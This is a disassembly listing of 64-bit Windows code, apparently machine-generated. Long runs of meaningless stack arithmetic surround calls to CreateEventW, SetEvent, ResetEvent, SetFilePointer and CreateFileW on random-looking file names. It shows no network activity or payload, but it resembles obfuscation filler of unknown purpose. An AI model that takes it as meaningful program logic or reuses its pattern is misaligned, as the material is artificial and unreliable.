mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa70], rax
lea rax, [rsp + 0x588]
mov qword [rsp + 0x18e0], rax
movzx eax, word [rsp + 0x128]
mov rcx, qword [rsp + 0x658]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2a0]
mov word [rcx], ax
lea rax, [0x1400fd1d8]
mov qword [rsp + 0x1ba0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2568], rax
mov rax, qword [rsp + 0x1c80]
movzx ecx, al
mov rax, qword [rsp + 0x818]
shr rax, cl
mov qword [rsp + 0x338], rax
movsx eax, byte [rsp + 0x74]
mov rcx, qword [0x1400fd238]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x9c], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xe719
mov rcx, qword [rsp + 0x1ce8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x638], eax
mov rax, qword [rsp + 0x16c0]
mov qword [rsp + 0x17d0], rax
lea rax, [rsp + 0x98]
mov qword [0x1400fd2f0], rax
movzx eax, word [rsp + 0x150]
movzx ecx, word [rsp + 0x938]
add eax, ecx
mov word [rsp + 0x3a0], ax
lea rax, [rsp + 0x480]
mov qword [rsp + 0x14d8], rax
movzx eax, byte [rsp + 0x159]
movzx ecx, byte [rsp + 0xfb]
sub eax, ecx
mov byte [rsp + 0xf5], al
lea rax, [rsp + 0xb80]
mov qword [rsp + 0xb20], rax
mov rax, qword [rsp + 0xd18]
mov rcx, qword [rsp + 0x1018]
mov qword [rsp + 0x45e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x45e8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x1040], rax
mov rax, qword [rsp + 0x750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcbc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a4], eax
mov rax, qword [rsp + 0x1030]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe6]
and eax, ecx
mov byte [rsp + 0x1c5], al
mov rax, qword [0x1400fd228]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x788]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x224], ax
movzx eax, word [rsp + 0x418]
movzx ecx, word [rsp + 0x84]
add eax, ecx
mov rcx, qword [0x1400fd2a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x12a8]
mov qword [rsp + 0x1830], rax
mov rax, qword [0x1400fd2d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x658]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x178], ax
mov rcx, qword [rsp + 0x1ce0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f0], eax
movsx eax, word [rsp + 0x218]
mov rcx, qword [rsp + 0xa28]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x370], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.xL15Zdm6QI6x5t
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3288], rax
lea rax, [rsp + 0x950]
mov qword [rsp + 0x12b8], rax
mov rcx, qword [rsp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xd58]
mov ecx, dword [rsp + 0x208]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x514], eax
lea rax, [rsp + 0xf6]
mov qword [rsp + 0x17f0], rax
mov rax, qword [rsp + 0xfd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3c0]
mov qword [rsp + 0x45f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x45f0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x22a0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe95c
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbc8], eax
mov rcx, qword [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13d0], eax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1530]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x40c], ax
lea rax, [rsp + 0x1440]
mov qword [0x1400fd2f8], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xed06
mov rcx, qword [rsp + 0x2a30]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8ec], eax
mov rax, qword [rsp + 0x970]
mov eax, dword [rax]
mov dword [rsp + 0x1674], eax
mov rcx, qword [rsp + 0x1270]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x668]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x109], al
mov rax, qword [rsp + 0xf50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3a8]
sub eax, ecx
mov word [rsp + 0x310], ax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x434]
and eax, ecx
mov word [rsp + 0x128], ax
mov rax, qword [rsp + 0x1050]
mov eax, dword [rax]
add eax, dword [rsp + 0xb8]
mov dword [rsp + 0x7ac], eax
lea rax, [rsp + 0x1920]
mov qword [rsp + 0x1888], rax
movsx eax, byte [str._aMl]
movsx ecx, byte [rsp + 0xf4]
sar eax, cl
mov byte [rsp + 0x90], al
lea rax, [rsp + 0x370]
mov qword [rsp + 0xfa0], rax
mov rax, qword [rsp + 0xc88]
movzx eax, word [rax]
mov word [0x1400fd300], ax
mov rax, qword [rsp + 0xb28]
mov rcx, qword [0x1400fd1a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x17e8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.DU8vRDgahfHUtI0ZWBgs9we2y
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x28e0], rax
lea rax, [rsp + 0xdb8]
mov qword [rsp + 0xf58], rax
mov rax, qword [rsp + 0xf58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x540]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa70], rax
movsx eax, word [rsp + 0x304]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x310], ax
mov rcx, qword [rsp + 0x1248]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0xd60d
mov rcx, qword [rsp + 0x17b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a44], eax
mov rax, qword [rsp + 0x17f0]
movzx eax, byte [rax]
mov byte [rsp + 0x10b], al
mov rax, qword [rsp + 0xc98]
mov rcx, qword [rsp + 0x1c60]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1818]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x1728]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27e4], eax
lea rax, [rsp + 0x348]
mov qword [rsp + 0x1c40], rax
mov rax, qword [rsp + 0x948]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1674]
shl eax, cl
mov dword [rsp + 0x8d0], eax
movzx eax, byte [rsp + 0x118]
imul eax, eax, 0xc9
mov byte [rsp + 0xb0], al
mov rax, qword [0x1400fd1d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x770]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1400fd140], ax
movzx eax, word [rsp + 0x6c]
movzx ecx, word [rsp + 0x12c]
add eax, ecx
mov word [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x2955
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a48], eax
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x11e8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x648]
mov word [rcx], ax
lea rax, [rsp + 0x1b18]
mov qword [rsp + 0xcb0], rax
mov rax, qword [rsp + 0xd80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1400]
add eax, dword [rcx]
mov dword [rsp + 0x640], eax
mov rax, qword [rsp + 0x1410]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x119]
sub eax, ecx
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0xfd0]
mov rax, qword [rax]
mov qword [rsp + 0x2268], rax
movsx eax, word [rsp + 0x398]
mov rcx, qword [rsp + 0xfa0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x290], ax
mov rax, qword [rsp + 0xa50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x128]
and eax, ecx
mov word [rsp + 0x31c], ax
mov rax, qword [rsp + 0x12b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x16f8]
mov qword [rsp + 0x45f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x45f8]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1400fc3f8], rax
mov rax, qword [rsp + 0x7d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x160]
sub eax, ecx
mov word [rsp + 0x5b4], ax
lea rax, [rsp + 0xd30]
mov qword [rsp + 0xd08], rax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9d8], eax
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x14a8], rax
mov eax, dword [rsp + 0x348]
mov ecx, dword [rsp + 0xc4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a18]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0x2e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf5]
shl eax, cl
mov rcx, qword [rsp + 0x2e8]
mov byte [rcx], al
mov eax, dword [rsp + 0xacc]
mov dword [rsp + 0x1a74], eax
mov rax, qword [rsp + 0x470]
mov rcx, qword [rsp + 0x7c0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x628]
mov qword [rcx], rax
mov rax, qword [rsp + 0x278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12d0]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1400fc3b0], ax
mov rax, qword [rsp + 0x740]
movsx eax, word [rax]
movsx ecx, word [0x1400fd210]
sub eax, ecx
mov word [rsp + 0x1d0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.WXzPfTcuz_sHVFh9Kxg
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1ee0], rax
mov rax, qword [rsp + 0xb60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x938]
sar eax, cl
mov word [rsp + 0x730], ax
mov rax, qword [rsp + 0xa60]
movzx eax, word [rax]
mov rcx, qword [0x1400fd270]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3a4], ax
mov rax, qword [rsp + 0x1008]
mov eax, dword [rax]
mov dword [rsp + 0xbb4], eax
mov rax, qword [rsp + 0x11c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1c60]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1780], rax
mov rax, qword [rsp + 0x530]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fd133]
sub eax, ecx
mov rcx, qword [rsp + 0x538]
mov byte [rcx], al
mov rcx, qword [rsp + 0x1bf0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0xc0]
movsx ecx, word [rsp + 0x448]
add eax, ecx
mov word [rsp + 0x894], ax
mov rax, qword [rsp + 0xdb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c]
and eax, ecx
mov rcx, qword [rsp + 0xd68]
mov word [rcx], ax
mov rax, qword [rsp + 0x2830]
mov rcx, qword [0x1400fd1e8]
mov qword [rsp + 0x4600], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4600]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1400fc3e8], rax
mov rax, qword [rsp + 0x778]
mov rax, qword [rax]
mov qword [rsp + 0x1bf8], rax
mov rax, qword [rsp + 0x12b8]
mov rcx, qword [rsp + 0xf58]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x620]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe896
mov rcx, qword [rsp + 0x1940]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9e8], eax
mov rax, qword [rsp + 0x120]
mov rcx, qword [0x1400fd180]
mov qword [rsp + 0x4608], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4608]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x620]
mov qword [rcx], rax
movzx eax, word [rsp + 0x36c]
mov word [rsp + 0x48c], ax
movzx eax, byte [rsp + 0x1c0]
mov rcx, qword [rsp + 0x2e8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0x14d8]
mov rcx, qword [rsp + 0x1058]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad8], eax
mov rcx, qword [rsp + 0x17a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a38], eax
mov rax, qword [rsp + 0x1c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0], eax
mov rax, qword [0x1400fd148]
mov qword [rsp + 0x3068], rax
movzx eax, byte [rsp + 0xf7]
mov byte [0x1400fd134], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x2e3a
mov rcx, qword [rsp + 0x1028]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x638], eax
mov rax, qword [rsp + 0xf50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x110]
and eax, ecx
mov rcx, qword [rsp + 0x958]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1270]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1694], eax
mov rax, qword [rsp + 0x788]
movsx eax, word [rax]
movsx ecx, word [0x1400fd1dc]
sar eax, cl
mov word [rsp + 0x174], ax
mov rax, qword [rsp + 0x1530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x650]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x6b8], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe98f
mov rcx, qword [rsp + 0x2338]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x638], eax
mov rax, qword [rsp + 0xb38]
mov rcx, qword [rsp + 0x978]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcb0]
mov qword [rcx], rax
mov eax, dword [0x1400fd1d8]
mov dword [rsp + 0x138c], eax
mov rax, qword [rsp + 0x1018]
mov rcx, qword [rsp + 0x11d8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x1018]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0x968]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x13a], al
lea rax, [0x1400fd140]
mov qword [rsp + 0x1a10], rax
mov rax, qword [rsp + 0x7d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc88]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1400fd280], ax
mov rax, qword [rsp + 0x748]
mov rcx, qword [rsp + 0xa30]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xb38]
mov qword [rcx], rax
lea rax, [rsp + 0x12c]
mov qword [rsp + 0xb30], rax
mov rax, qword [rsp + 0x2320]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc50]
mov qword [rsp + 0x4610], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4610]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9c8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x91]
movzx ecx, byte [rsp + 0x15a]
xor eax, ecx
mov byte [rsp + 0xe7], al
mov rcx, qword [rsp + 0x1290]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1390], eax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x1990], eax
mov rax, qword [rsp + 0xa68]
mov rcx, qword [rsp + 0x1408]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x11c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fd132]
add eax, ecx
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0x3d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x25c]
sub eax, ecx
mov word [rsp + 0xc0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.ZCBX4Okuuw
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1b10], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov word [0x1400fd304], ax
mov rax, qword [rsp + 0x618]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x320]
mov qword [rsp + 0x4618], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4618]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x780]
mov qword [rcx], rax
lea rax, [rsp + 0xfb8]
mov qword [rsp + 0x1000], rax
mov rax, qword [rsp + 0x528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x364]
and eax, ecx
mov word [rsp + 0x164], ax
movzx eax, word [0x1400fd304]
mov word [rsp + 0x37c], ax
mov rax, qword [rsp + 0x1950]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1200]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x538]
mov byte [rcx], al
mov rax, qword [rsp + 0xf78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1418]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1ae0], rax
mov rax, qword [rsp + 0x828]
mov rcx, qword [rsp + 0xd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x208], eax
mov rax, qword [rsp + 0xd50]
mov rcx, qword [rsp + 0x1740]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xd08]
mov qword [rcx], rax
movsx eax, word [rsp + 0x250]
mov rcx, qword [rsp + 0xa58]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd16c], ax
lea rax, [rsp + 0x84]
mov qword [rsp + 0x1258], rax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x800]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x948]
mov eax, dword [rax]
mov dword [rsp + 0xcd0], eax
mov rax, qword [rsp + 0xb50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x618]
mov qword [rsp + 0x4620], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4620]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x1308]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xcc]
mov rcx, qword [rsp + 0x1340]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0xc98]
mov rcx, qword [rsp + 0x3c0]
mov qword [rsp + 0x4628], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4628]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x1c58], rax
mov eax, dword [rsp + 0x8e8]
mov ecx, dword [rsp + 0x8d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xda0]
movzx eax, word [rax]
mov word [rsp + 0x23c], ax
lea rax, [0x1400fc3e4]
mov qword [0x1400fd308], rax
mov rax, qword [rsp + 0x1218]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x620]
add rax, qword [rcx]
mov qword [rsp + 0x1440], rax
mov rcx, qword [rsp + 0x24c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x14c]
mov rcx, qword [rsp + 0x1288]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4c0], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5977
mov rcx, qword [rsp + 0x1320]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xac0], eax
movzx eax, word [rsp + 0xd0]
mov word [rsp + 0xab0], ax
mov rax, qword [rsp + 0xb20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x760]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xca0], rax
movsx eax, byte [rsp + 0x10b]
movsx ecx, byte [rsp + 0x61]
sar eax, cl
mov byte [rsp + 0x16f], al
mov rax, qword [0x1400fd2c8]
mov rcx, qword [rsp + 0x11f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd80]
mov dword [rcx], eax
lea rax, [rsp + 0x1920]
mov qword [rsp + 0x14b8], rax
movzx eax, word [rsp + 0x434]
movzx ecx, word [rsp + 0x374]
add eax, ecx
mov word [rsp + 0x39c], ax
mov rcx, qword [rsp + 0x24c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1ac4], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x424d
mov rcx, qword [rsp + 0x1bd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9a0], eax
mov rax, qword [rsp + 0x980]
mov rcx, qword [rsp + 0xa30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fc3c8], rax
mov eax, dword [rsp + 0xad4]
mov ecx, dword [rsp + 0xb4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1730]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xb0]
mov byte [rsp + 0x1c2], al
mov rax, qword [rsp + 0xfa0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3d0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1a0], ax
mov rax, qword [rsp + 0xb60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x37c]
xor eax, ecx
mov word [rsp + 0x4f0], ax
movsx eax, byte [0x1400fd134]
movsx ecx, byte [rsp + 0x2d5]
or eax, ecx
mov byte [rsp + 0x90], al
mov eax, dword [rsp + 0x8e8]
movzx ecx, al
mov eax, dword [rsp + 0x63c]
shr eax, cl
mov rcx, qword [rsp + 0x960]
mov dword [rcx], eax
mov rax, qword [rsp + 0xfd0]
mov rax, qword [rax]
mov qword [rsp + 0x1f78], rax
mov rax, qword [rsp + 0x958]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x18e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x410], ax
mov rax, qword [rsp + 0x1530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa50]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1400fc400], ax
mov rax, qword [rsp + 0x1020]
mov qword [rsp + 0x2428], rax
mov rax, qword [rsp + 0x7c8]
mov rcx, qword [rsp + 0x1750]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xfe0], rax
mov rcx, qword [rsp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1118], eax
mov rax, qword [rsp + 0xcb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb68]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x618]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.dIrKVt1qCcE26fCN0XNRCdaZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1f40], rax
mov rax, qword [0x1400fd158]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3d0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bc], ax
mov rax, qword [rsp + 0x3d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1040]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1c58], rax
lea rax, [rsp + 0x640]
mov qword [rsp + 0xf60], rax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcf4], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x5e2b
mov rcx, qword [rsp + 0x1d10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10dc], eax
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x10b0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xf40]
mov byte [rcx], al
mov eax, dword [rsp + 0x168c]
mov rcx, qword [rsp + 0x2320]
mov qword [rsp + 0x4630], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4630]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcd0], eax
lea rax, [rsp + 0x10d]
mov qword [rsp + 0xf48], rax
movsx eax, word [0x1400fd140]
movsx ecx, word [rsp + 0x224]
or eax, ecx
mov word [0x1400fc3b0], ax
mov rcx, qword [rsp + 0x1b38]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67c], eax
mov rax, qword [rsp + 0x7d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd10]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1228]
mov word [rcx], ax
lea rax, [rsp + 0x210]
mov qword [rsp + 0xfc8], rax
mov rax, qword [rsp + 0xa70]
mov rcx, qword [rsp + 0x7f8]
mov qword [rsp + 0x4638], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4638]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x2b0]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe11f
mov rcx, qword [rsp + 0x2ea0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
mov eax, dword [rsp + 0x634]
mov dword [rsp + 0x998], eax
mov rax, qword [rsp + 0x7b0]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fc381]
sub eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x628]
mov rax, qword [rax]
add rax, qword [rsp + 0x17c8]
mov rcx, qword [rsp + 0x470]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5b8], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x22a8], rax
mov rax, qword [0x1400fd170]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3a0], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x92d1
mov rcx, qword [rsp + 0x1cf8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10dc], eax
mov rax, qword [rsp + 0x12b8]
mov rax, qword [rax]
mov qword [0x1400fd310], rax
lea rax, [rsp + 0x31c]
mov qword [rsp + 0x1318], rax
mov rax, qword [rsp + 0x9b0]
mov rcx, qword [0x1400fd298]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xd48]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb20]
mov rcx, qword [rsp + 0xa70]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x1e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x828]
mov eax, dword [rax]
mov dword [rsp + 0x33cc], eax
mov rax, qword [0x1400fc390]
movzx ecx, al
mov rax, qword [rsp + 0x1208]
shr rax, cl
mov rcx, qword [rsp + 0x628]
mov qword [rcx], rax
mov eax, dword [rsp + 0xacc]
mov dword [rsp + 0xe38], eax
mov rax, qword [rsp + 0x12d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
sub eax, ecx
mov rcx, qword [rsp + 0x12d8]
mov byte [rcx], al
movsx eax, byte [0x1400fd133]
movsx ecx, byte [rsp + 0x1c5]
add eax, ecx
